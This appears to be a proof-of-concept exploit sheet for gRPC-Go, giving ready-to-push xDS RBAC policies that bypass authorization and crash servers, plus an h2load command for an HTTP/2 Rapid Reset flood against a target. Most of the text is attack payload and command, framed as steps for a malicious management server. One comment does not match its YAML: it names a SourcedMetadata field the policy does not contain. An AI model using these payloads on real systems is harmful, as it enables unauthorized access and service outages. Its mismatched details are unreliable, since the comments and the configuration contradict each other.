gRPC-Go: xDS RBAC Authorization Bypass, HTTP/2 Rapid Reset DoS, and NOT-Rule Panic

# 1. xDS RBAC Authorization Bypass (fail-open)
# Push this LDS/RDS policy via a malicious or misconfigured xDS management server.
# The sole permission rule uses Metadata, which grpc-go < 1.82.1 silently drops.
# Result: the rule evaluates as if no restriction exists, granting access to all callers.
permission:
  metadata:
    filter: "envoy.filters.http.rbac"
    path:
      - key: "role"
    value:
      string_match:
        exact: "admin"

# 2. NOT-rule panic (server crash)
# Push this RBAC policy. The NOT wrapper around the unsupported SourcedMetadata
# field causes the recursive matcher builder to return nil.
# grpc-go dereferences the nil matcher on the first authorized request -> panic.
permission:
  not_rule:
    requested_server_name:
      exact: "ignored-field"

# 3. HTTP/2 Rapid Reset DoS (high CPU)
# Send a rapid stream-creation + immediate reset flood on the same connection.
# Each HEADERS frame opens a new stream; the matching RST_STREAM cancels it
# before a response is written, so grpc-go < 1.82.1 never counts it against
# the control-frame threshold and never blocks the reader goroutine.
# Example using h2load (or any raw HTTP/2 client):
#   h2load -n 100000 -c 1 -m 1000 --header=':method: POST' \
#     --header=':path: /Service/Method' \
#     --header='content-type: application/grpc' \
#     https://target:443 &
# followed immediately by RST_STREAM (error_code=CANCEL) for each stream.